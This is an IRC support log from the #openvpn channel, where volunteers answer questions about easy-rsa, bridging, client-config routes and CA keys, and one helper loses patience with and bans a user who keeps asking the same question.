02:09 -!- fluter [~fluter@fedora/fluter] has quit [Remote host closed the connection]
02:15 -!- sdx--- [~idnic@70.39.68.36] has joined #openvpn
02:17 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
02:17 -!- idnic [~idnic@114.79.19.23] has joined #openvpn
02:18 -!- sh_t [~sht@NL2.privatevpn.com] has quit [Read error: Connection reset by peer]
02:20 -!- sh_t [~sht@NL2.privatevpn.com] has joined #openvpn
02:20 -!- sdx--- [~idnic@70.39.68.36] has quit [Ping timeout: 276 seconds]
02:28 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-jabwfdwwnubynxqd] has joined #openvpn
02:31 -!- Wulf4 is now known as Wulf
02:53 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
03:03 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-pgmyjmlyrhmelakt] has joined #openvpn
03:03 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:05 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-txxrmkbetvcozgyg] has joined #openvpn
03:23 -!- sdx--- [~idnic@114.79.17.250] has joined #openvpn
03:26 -!- idnic [~idnic@114.79.19.23] has quit [Ping timeout: 260 seconds]
03:27 -!- sdx--- [~idnic@114.79.17.250] has quit [Client Quit]
03:27 -!- zz_AsadH is now known as AsadH
03:37 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Excess Flood]
03:38 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
03:50 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 250 seconds]
04:03 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Excess Flood]
04:07 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
04:21 -!- DaveTheDude [~FuckOff@69.85.93.87] has joined #openvpn
04:21 < DaveTheDude> !welcome
04:21 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
04:21 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
04:22 < DaveTheDude> Hello
04:23 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Excess Flood]
04:23 < DaveTheDude> I just tried installing openvpn on a friends vps, typically i have no troubles... but this time i see that the debian 6 repo has been updated to provide 2.3.0
04:24 < DaveTheDude> and i can't find the usual parts to configure openvpn
04:25 < DaveTheDude> was wondering if any of you could tell me where i can find the usual parts?
04:26 < DaveTheDude> i usually just cd into /etc/openvpn/
04:26 < DaveTheDude> and then cp -R /usr/share/doc/openvpn/examples/easy-rsa/ /etc/openvpn/
04:28 -!- Aprogas_ is now known as Aprogas
04:31 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
04:33 -!- fluter [~fluter@fedora/fluter] has quit [Ping timeout: 240 seconds]
04:33 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
04:40 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
04:48 < DaveTheDude> does 2.3.0 not ship with easy-rsa or something?
04:51 -!- smerz [~smerz@a177088.upc-a.chello.nl] has quit [Ping timeout: 260 seconds]
04:51 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Ping timeout: 260 seconds]
04:52 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
04:56 -!- JSharpe [~JSharpe@46.165.210.17] has joined #openvpn
04:56 <+EugeneKay> It's been split out in Sid; I don't know about stable
04:57 < DaveTheDude> apparently it has
04:57 <+EugeneKay> I'm not sure where you're getting a 2.3.0 package for stable, as the version on that is 2.1.3
04:58 <+EugeneKay> And testing is only up to 2.2.1
04:58 < DaveTheDude> nah
04:58 <+EugeneKay> That's what packages.debian.org says
04:59 < DaveTheDude> i use openvpn's repos
04:59 <+EugeneKay> I'm not a Debian user myself, so mileage may vary
04:59 < DaveTheDude> https://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos
04:59 <@vpnHelper> Title: OpenvpnSoftwareRepos – OpenVPN Community (at community.openvpn.net)
04:59 <+EugeneKay> Ah, OK. I wasn't aware those existed.
04:59 < DaveTheDude> ;D
05:00 < DaveTheDude> well, i compiled 2.3.0 for myself from source, but i was thrown off by no easy-rsa
05:00 < DaveTheDude> now i know why
05:00 <+EugeneKay> I prefer XCA anyway
05:01 <+EugeneKay> You can grab a copy of easy-rsa from here if you want https://github.com/OpenVPN/easy-rsa
05:01 <@vpnHelper> Title: OpenVPN/easy-rsa · GitHub (at github.com)
05:01 <+EugeneKay> It's just wrappers & .cnf for openssl
05:01 < DaveTheDude> yeah i found that a bit ago
05:01 < DaveTheDude> XCA?
05:02 < DaveTheDude> i'm unfamiliar with that
05:02 <+EugeneKay> !xca
05:02 <@vpnHelper> "xca" is (#1) XCA is a GUI to create/manage a PKI, much more user-friendly than easy-rsa. or (#2) Example XCA PKI for OpenVPN(writeup pending): https://community.openvpn.net/openvpn/wiki/XCA
05:02 < DaveTheDude> oh
05:02 < DaveTheDude> i pretty much only use cli
05:05 -!- dazo_afk is now known as dazo
05:10 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
05:12 -!- DaveTheDude [~FuckOff@69.85.93.87] has quit [Quit: Senkei.Senbonzakura.Kageyoshi]
05:25 -!- vaillor [~lol2@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
05:25 < vaillor> hi guys
05:26 < vaillor> what difference is there between privatetunnel.msi and openvpn-install-2.3.0-I004-i686.exe ??
05:28 <+EugeneKay> You asked this question two days ago
05:38 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
05:38 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
05:41 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Max SendQ exceeded]
05:46 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
05:47 -!- fluter [~fluter@fedora/fluter] has quit [Max SendQ exceeded]
05:47 < vaillor> EugeneKay, yes, and the answer was "the first is proprietary program, the second is open source"
05:47 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
05:47 <+EugeneKay> What makes you think that you will get a different response today?
05:47 -!- latenite [~latenite@138.77.122.145] has joined #openvpn
05:48 -!- fluter [~fluter@fedora/fluter] has quit [Max SendQ exceeded]
05:49 < vaillor> i need an answer like: the first one allows you to make thes things... the second one allows you to make these other things... so the first or the second is better...
05:49 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
05:49 < latenite> Hi folks, I have trouble connecting my openvpn server (wich is a virtual machine) to talk to the outside world. The Host and the guest are on different subent and I am clueless how to make them talk to each other.
05:50 < latenite> Can anyone please help me to get this done?
05:50 -!- fluter [~fluter@fedora/fluter] has quit [Max SendQ exceeded]
05:50 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
05:51 <+EugeneKay> What brand of virtualization
05:51 < latenite> EugeneKay, LXC
05:52 -!- fluter [~fluter@fedora/fluter] has quit [Max SendQ exceeded]
05:52 <+EugeneKay> Never used it, sorry.
05:52 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
05:52 <+EugeneKay> Looks similar to VZ
05:52 -!- DaveTheDude [~FuckOff@69.85.93.87] has joined #openvpn
05:52 < latenite> EugeneKay, Basicly like any other VM. I dont know the basic on the networking side. No matter what kind of VM
05:53 < latenite> EugeneKay, yes it is :D
05:53 <+EugeneKay> Basically, you want the VM to have it's own IP address on the LAN.
05:53 < latenite> EugeneKay, would I have to add additional NICs?
05:53 <+EugeneKay> This is typically known as Bridged Mode
05:53 <+EugeneKay> Physical NIC cards? No.
05:53 < DaveTheDude> hey i was just wondering if anyone could explain the function and use of pkcs11?
05:53 < latenite> EugeneKay, there is no LAN. The host is a rootserver with public IP.
05:53 < DaveTheDude> and the benefit if there is any
05:54 < latenite> The VM has a public as well
05:54 <+EugeneKay> latenite - The "public IP" is a "LAN" for the definition of this exercise
05:54 < latenite> EugeneKay, ok :D
05:54 <+EugeneKay> DaveTheDude - PKI stored on a "Smart Card", basically.
05:54 -!- TommehM [~TomM@unaffiliated/tommehm] has joined #openvpn
05:55 < latenite> EugeneKay, for now the host has a br0 with the eth0 connecet to it. The host can reach the intenet fine
05:55 <+EugeneKay> DaveTheDude - plus the interface for applications to speak to the smart card for doing crypto stuff using keys/certs stored on the card, without the application actually knowing the private keys
05:55 <+EugeneKay> latenite - sounds right. Now you need to connect the container to br0
05:55 < latenite> The guest is connectet to the bridg (by the VM setup)
05:55 < DaveTheDude> oh i see
05:56 < DaveTheDude> well then it is completely useless to me
05:56 < DaveTheDude> thanks EugeneKay
05:56 <+EugeneKay> DaveTheDude - It's limited-use, yes. Mostly the paranoid who don't trust the $SYSTEM, or can't for regulatory reasons(banks, gov't)
05:56 < latenite> EugeneKay, it is connected to the br0 by ...line 15 https://gist.github.com/anonymous/5098689
05:57 <@vpnHelper> Title: gist:5098689 (at gist.github.com)
05:57 < DaveTheDude> thanks again EugeneKay
05:57 < DaveTheDude> have a nice day
05:57 -!- DaveTheDude [~FuckOff@69.85.93.87] has quit [Quit: Senkei.Senbonzakura.Kageyoshi]
05:58 <+EugeneKay> latenite - yeah, that config file is Greek to me
05:58 <+EugeneKay> Sorry
05:58 <+EugeneKay> Try to see if they have an IRC channel
05:58 < latenite> EugeneKay, but the hosts br0 and the VMs eth0 have totaly differnt networks
05:58 < latenite> I already tried. No luck :(
05:59 < latenite> EugeneKay, It not so much about the technologie like LXC, or Vbox.
05:59 <+EugeneKay> With vbox and vmware I've not had to fiddle with br0 in years
05:59 <+EugeneKay> I just set it to Bridge and it does it
05:59 < latenite> EugeneKay, what I dont know is: how to connect a VM to a host when they are on different networks...jet, connected to the same bridge
06:00 <+EugeneKay> Whaddya mean different networks? VLANs?
06:00 <+EugeneKay> Or different IP blocks?
06:01 < latenite> EugeneKay, the host is: inet addr: 176.9.147.201  Bcast:176.9.147.223  Mask:255.255.255.224
06:01 <+EugeneKay> Addressing is layer3; bridging etc is layer2.
06:02 < latenite> and the VM is: inet addr: 5.9.233.2  Bcast:5.9.233.7
06:02 <+EugeneKay> So don't worry about that
06:02 <+EugeneKay> The VM and the Host both send an ARP(L2) for their respective IP addresses(L3) to the switch
06:03 <+EugeneKay> Note: it looks like your VM has a MAC address beginning with 00:00:00:. This is probably not going to work. Change that to a real vendor ID.
06:03 < latenite> So I should be able to ping from  5.9.233.2 to 176.9.147.201 ? When they are both on the same bridge?
06:04 < latenite> there is no route set up.
06:04 <+EugeneKay> Correct. It will go out the VM's interface, to the switch and on to the router, then back down the chain.
06:04 < latenite> so how would that ever work?
06:04 < latenite> which router?
06:04 <+EugeneKay> Your datacenter's
06:04 <+EugeneKay> It' the same as any other IP address on the internet, except that the src and dest both happen to exist on the same physical machine
06:05 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
06:05 < latenite> So since ping fails. Something else must be wrong.
06:05 <+EugeneKay> If you want to talk directly between the VM and Host you will need to set up "Host Only" networking, which is implemented as a loopback adapter.
06:06 <+EugeneKay> If I had to guess, it's your switch rejecting the MAC address of the VM
06:06 < latenite> what would be a valid MAC?
06:07 < latenite> EugeneKay, simply no 0 up front?
06:08 <+EugeneKay> VMware uses 00:0c:29:. Try that.
06:09 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
06:09 < latenite> EugeneKay, still fails
06:09  * EugeneKay shrugs
06:10 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
06:10 < latenite> EugeneKay, in the VM I can only ping its own IP
06:10 <+EugeneKay> Probably something with the bridge. No clue what :-p
06:15 < vaillor> EugeneKay, have you got a step-by-step guide tu set the vpn?
06:20 <+EugeneKay> !howto
06:20 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
06:20 <+EugeneKay> latenite - yup, indicates something's wrong with the bridge. See above :-p
06:23 < latenite> EugeneKay, Would you know a way to test the bridge?
06:27 < latenite> EugeneKay, I cant ping the VM from the host either.
06:27 <+EugeneKay> Like I said, it's been ages since I've fiddled with bridging. If you're patient I'm sure somebody with more clue will be around
06:30 < latenite> sure, thank you. I ll just stick around
06:45 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
06:49 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:08 -!- TMcTrain [~kvirc@HSI-KBW-046-005-044-083.hsi8.kabel-badenwuerttemberg.de] has joined #openvpn
07:09 < TMcTrain> hello
07:10 < TMcTrain> !welcome
07:10 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
07:10 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
07:10 < TMcTrain> !goal
07:10 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
07:23 < TMcTrain> hello I do have the following setup    <router/fw>: eth0=WAN; eth1=LAN(192.168.2.1)  <pc1>: eth0=LAN(192.168.2.128); eth1=LAN(192.168.30.1)    <pc2>: eth0=LAN(192.168.30.10)
07:25 < TMcTrain> <pc2> is isolated from WAN <pc1> does not have routing enabled for eth1 to eth0
07:32 < TMcTrain> on <pc1> I installed opwnvpn access server, forwarded the port from <router/fw> to <pc1> and managed to set it up to allow <wwwclient> to connect to <pc1> and get a ip-address <wwwclient>: LAN=192.168.30.101
07:34 < TMcTrain> from <wwwclient>: I can ping <pc1>: 192.168.30.1 and connect over ssh
07:36 < TMcTrain> I can access <pc2> from <pc1>
07:36 < TMcTrain> but I can neither access <pc2> from <wwwclient> nor <wwwclient> from <pc1>
07:37 < TMcTrain> is there a special setting on openvpn access server GUI to get the <wwwclient>: LAN=192.168.30.101 to get access directly to <pc2>: eth1=192.168.30.10
07:38 < TMcTrain> ?
07:39 -!- vaillor [~lol2@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 276 seconds]
07:41 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Quit: ZNC - http://znc.sourceforge.net]
07:44 < rob0> !as
07:44 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
07:45 < TMcTrain> tx
07:45 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
07:53 -!- bjh4 [~bjh4@64.212.193.1] has joined #openvpn
07:54 -!- magic_1 [~magic@unaffiliated/magic1/x-836121] has joined #openvpn
07:54 -!- fluter [~fluter@fedora/fluter] has quit [Quit: Leaving]
07:55 < magic_1> hi guys, i just want to make sure how i should tell my server config file about my ccd
07:55 < magic_1> cause it pushes the routes but not seeing the ccd routes?
07:56 < magic_1> just doesnt make sense to me
08:00 <+EugeneKay> You put iroute in the ccd file, and route in your server.conf
08:00 <+EugeneKay> iroute only serves to tell the server which client is responsible for the subnet
08:00 <+EugeneKay> !route
08:01 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
08:01 <@vpnHelper> behind the server or client
08:07 < magic_1> thanks EugeneKay
08:07 < magic_1> was just busy with the server
08:08 < magic_1> the issue that i am having is that site B can ping and access all devices in site A, but site A cant ping or access any devices in Site B
08:08 < magic_1> although both have the required routes
08:08 <+EugeneKay> Sounds like firewall
08:08 < magic_1> i have stopped the firewall on site B to check
08:08 < magic_1> but nothing
08:09 < magic_1> the ping request are going throught to the tun interface on B, but not through,
08:09 <+EugeneKay> You have ip_forwarding turned on?
08:09 <+EugeneKay> Both ends
08:09 < magic_1> i can ping site B tun interface
08:09 < magic_1> yea
08:09 <+EugeneKay> Check the A firewall rules too
08:10 <+EugeneKay> FORWARD table is of the most interest
08:10 < magic_1> will do that now, just thinking though, the requests are reaching the site B tun interface
08:10 < magic_1> just not going through
08:10 < magic_1> and i have check ip_forwarding is on
08:10 <+EugeneKay> Double check your routes
08:11 <+EugeneKay> They might be going to the wrong place
08:11 < magic_1> even set them up statically
08:11 <+EugeneKay> Just keep beating up on it, you'll find it
08:11 <+EugeneKay> You've come this far, you clearly have enough of a understandig ;-)
08:12 < magic_1> thanks brother, doing that as we as speak
08:12 < magic_1> at the moment even trying via routing protocol to see if that is not the issue, the routes are going through no hassle, but only one side working
08:12 < magic_1> but will do
08:31 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
08:35 -!- magic_1 [~magic@unaffiliated/magic1/x-836121] has quit [Read error: No route to host]
08:50 -!- novaflash is now known as novaflash_away
09:00 -!- novaflash_away is now known as novaflash
09:11 -!- p3rror [~mezgani@41.140.180.37] has joined #openvpn
09:26 -!- Porkepix [~Porkepix@157.138.184.18] has joined #openvpn
09:27 -!- Porkepix [~Porkepix@157.138.184.18] has quit [Max SendQ exceeded]
09:28 -!- Porkepix [~Porkepix@157.138.184.18] has joined #openvpn
09:32 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
09:32 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 250 seconds]
09:39 -!- raidz_away [~raidz@raidz.im] has joined #openvpn
09:39 -!- raidz_away is now known as raidz
09:39 -!- raidz [~raidz@raidz.im] has quit [Changing host]
09:39 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
09:39 -!- mode/#openvpn [+o raidz] by ChanServ
09:59 < kjs> Guys, I need to generate a self signed certificate for OpenVPN clients, if i copy the CA.crt and key onto my windows desktop I can generate this using easy rsa scripts, right?
10:00 < kjs> they should be in /etc/openvpn/ssl - right ?
10:01 <@ecrist> why not just generate them on the box that has the ca.crt and key now?
10:04 < kjs> there is no easyrsa on that box ?
10:04 <@ecrist> where did you generate certificates before?
10:05 <@ecrist> generally, you need or will want the index for openssl, as well, or you run the risk of duplicate certificates
10:05 < kjs> iv just taken over this, last admins documentation says to do it on another linux server here with openssl installed...
10:06 <@ecrist> ok, so do that.
10:06 < kjs> then gives a https urls to wget the CA cert & key from, that does not exist.
10:06 < kjs> so... I am looking for the right key / cert
10:07 < kjs> should they be at /etc/openvpn/ssl ?
10:07 <@ecrist> they might be
10:07 <@ecrist> truth is, we  have no way of knowing where your other admin put the CA cert/key pair
10:08 < kjs> Yeah, i could install openssl on that server and try and sign the keys against that CA and see if it would auth ?
10:09 < kjs> I need the server.key and CA.crt file to generate them, right?
10:09 <@ecrist> no
10:09 <@ecrist> you need the CA.crt and CA.key
10:09 < kjs> hm
10:10 < kjs> that dir contains...
10:10 < kjs> dh1024.pem  srv1-ca.crt  srv1-server.crt  srv1-server.key
10:11 <@ecrist> none of those are what you need
10:11 < kjs> thought so
10:11 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has quit [Ping timeout: 245 seconds]
10:11 <@ecrist> I already told you what to look for
10:11 < kjs> yeah looks like I am screwed then
10:12 <@ecrist> I'd find out what server ran that webserver, and go look there for them
10:15 -!- raidz is now known as raidz_away
10:15 -!- raidz_away is now known as raidz
10:19 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 276 seconds]
10:24 -!- speed_racer8 [~speed_rac@76.30.149.251] has joined #openvpn
10:26 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:29 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
10:44 -!- Orbi [~opera@109.129.14.9] has joined #openvpn
10:50 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
10:52 -!- AsadH is now known as zz_AsadH
10:57 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
10:57 < jzaw> afternoon all :)
11:03 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
11:03 <+[oc80z]> moin moin
11:08 -!- albercuba [~albercuba@p57B331F2.dip.t-dialin.net] has joined #openvpn
11:09 < albercuba> hello
11:09 < albercuba> some help please setting openvpn in uuntu
11:09 < kjs> sigh
11:09 < albercuba> ?
11:09 < albercuba> i can't make it work, need some help
11:09 < pekster> !howto
11:09 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
11:10 < albercuba> yes yes, i did read that
11:11 < albercuba> but i can't make it work
11:11 <@dazo> !welcome
11:11 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
11:11 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
11:11 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
11:11 <@dazo> !welcome
11:12 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
11:12 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
11:12 -!- vaillor [~lol2@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
11:12 <@dazo> albercuba: ^^^ .... all who knows something in here and have time may help you out, if you provide the needed info
11:13 < albercuba> ok, i want t set up an openvpn server in ubuntu server 10.04, i did everything but i cant make it work
11:13 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has joined #openvpn
11:13 <@dazo> !welcome
11:13 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
11:13 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
11:13 <@dazo> albercuba: you didn't read that ^^^
11:13 < albercuba> i can connect to the server but i cannot surf the web
11:14 < albercuba> dazo, not now, i did it yesterday
11:14 <@dazo> *sigh*
11:14 <@dazo> "we may need !logs and !configs and maybe !interface to help you."
11:14 < albercuba> i even looked for others how to, but they are all focused on lan networks
11:14  * dazo gives up
11:15 < pekster> !redirect
11:15 < albercuba> and the problem is that the server i'm using is in canada and have only 1 interface connectede directly to internet
11:15 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
11:15 <@vpnHelper> http://ircpimps.org/redirect.png
11:15 < albercuba> it is a vps
11:15 < pekster> Maybe that's what you want? You've specified none of your goals or explains "what" you've tried. If you say "it doesn't work" my only reply is "then it's clearly broken." Garbage in, garbage out
11:16 < albercuba> ok maybe i'm not good explaining things, and my english is not very good
11:17 < albercuba> will check the redirect
11:17 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds]
11:22 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 256 seconds]
11:25 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
11:29 -!- albercuba [~albercuba@p57B331F2.dip.t-dialin.net] has quit [Remote host closed the connection]
11:34 -!- latenite [~latenite@138.77.122.145] has quit [Ping timeout: 245 seconds]
11:41 -!- TommehM [~TomM@unaffiliated/tommehm] has quit [Ping timeout: 256 seconds]
11:42 -!- Orbi [~opera@109.129.14.9] has quit [Ping timeout: 245 seconds]
11:44 < vaillor> so, my openvpn still continues not working
11:45 -!- Orbi [~opera@anon-184-53.vpn.ipredator.se] has joined #openvpn
11:49 -!- TMcTrain [~kvirc@HSI-KBW-046-005-044-083.hsi8.kabel-badenwuerttemberg.de] has quit [Ping timeout: 248 seconds]
12:01 -!- Orbi [~opera@anon-184-53.vpn.ipredator.se] has quit [Ping timeout: 276 seconds]
12:06 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
12:06 -!- mode/#openvpn [+o krzee] by ChanServ
12:09 < vaillor> so, do you think is better to install ora openvpn-install-2.3.0-I004-i686.exe or privatetunnel.msi ?
12:09 -!- Porkepix [~Porkepix@157.138.184.18] has quit [Quit: Computer has gone to sleep.]
12:10 < pekster> !download
12:10 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
12:10 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
12:13 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
12:14 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Ping timeout: 240 seconds]
12:14 -!- MeanderingCode_ [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
12:17 -!- master_o1_master [~master_of@p4FF24E11.dip.t-dialin.net] has joined #openvpn
12:18 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
12:20 -!- master_of_master [~master_of@p4FF24D0D.dip.t-dialin.net] has quit [Ping timeout: 255 seconds]
12:24 < vaillor> pekster, there are no information about privatetunnel.msi
12:26 < pekster> Indeed. That's the propritary commercial product sold by OpenVPN Technologies. This channel is for support/discussion of the GPL OpenVPN open-source project
12:29 <@ecrist> vaillor: I think there's a private tunnel channel.  probably better to ask in #openvpn-as though
12:30 < vaillor> ok
12:30 < vaillor> and what is the official website of openvpn website?
12:31 <@ecrist> openvpn.net
12:31 < vaillor> because i found privatetunnel.msi at http://openvpn.net/
12:31 <@vpnHelper> Title: OpenVPN - Open Source VPN (at openvpn.net)
12:31 <@ecrist> yup
12:31 <+EugeneKay> Jesus tittyfucking christ dude
12:31 <+EugeneKay> How hard is it to comprehend
12:31 <+EugeneKay> There is the OpenVPN Commercial product, and the OpenVPN GPL product
12:31 <+EugeneKay> TWO SEPARATE PROGRAMS
12:31 <@ecrist> OpenVPN has a community (open source) and commercial component
12:31 <+EugeneKay> This is literally the fourth fucking time it has been explained to you
12:31 < vaillor> yes, and they are two different things?
12:32 <@ecrist> we support the community (open source) component here
12:32 <@ecrist> private tunnel and access server are commercial components
12:32 <@ecrist> they are supported in #openvpn-as
12:32 < vaillor> yes but if they are 2 different things, why the website is the same?
12:32 <@ecrist> OpenVPN has a community (open source) and commercial component
12:32 <@ecrist> OpenVPN has a community (open source) and commercial component
12:33 <@ecrist> OpenVPN has a community (open source) and commercial component
12:33 <@ecrist> OpenVPN has a community (open source) and commercial component
12:33 <@ecrist> OpenVPN has a community (open source) and commercial component
12:33 <@ecrist> OpenVPN has a community (open source) and commercial component
12:33 -!- mode/#openvpn [+o EugeneKay] by ChanServ
12:33 -!- mode/#openvpn [+b *!*lol2@*.ip179.fastwebnet.it] by EugeneKay
12:33 -!- vaillor was kicked from #openvpn by EugeneKay [I'm done. Good bye.]
12:33 <@EugeneKay> Two days of this guy. Screw it.
12:33 -!- mode/#openvpn [-o EugeneKay] by EugeneKay
12:33 <@krzee> i ignored him damn near immediately, but i knew it was only a matter of time til he got himself banned
12:33 <+EugeneKay> I tried to be patient, really I did.
12:34 <@krzee> i believe dazo ignored him at the same time
12:34 <@krzee> haha
12:34 <+EugeneKay> And I just realized I'm wearing my OpenVPN shirt
12:34 <@krzee> [13:33]  <krzee> that lil outburst won you a /ig lol
12:34 <@krzee> [13:34]   *!*lol2@2-226-37-187.ip179.fastwebnet.it added to ignore list.
12:34 <@krzee> [13:34]  * dazo follows krzee's example
12:35  * EugeneKay gets beer
12:35 <@ecrist> lol
12:36 <@ecrist> krzee: btw, we got our OSPF + OpenVPN working smoothly now
12:36 <@krzee> badass!
12:36 <+EugeneKay> Shiny
12:36 <@ecrist> with redundancy and failover, as well
12:36 <@ecrist> :D
12:37 <@krzee> my ospf is held together by magic
12:37 < pekster> Not more magic?
12:38 <@ecrist> FreeBSD + Bird + OpenVPN = win
12:38 <+hazardous> i just scrolled up
12:38 <@krzee> ++
12:38 <+hazardous> he wasn't even referring to AS
12:38 <@ecrist> hazardous: nobody said he was
12:38 <+hazardous> i kinda giggled
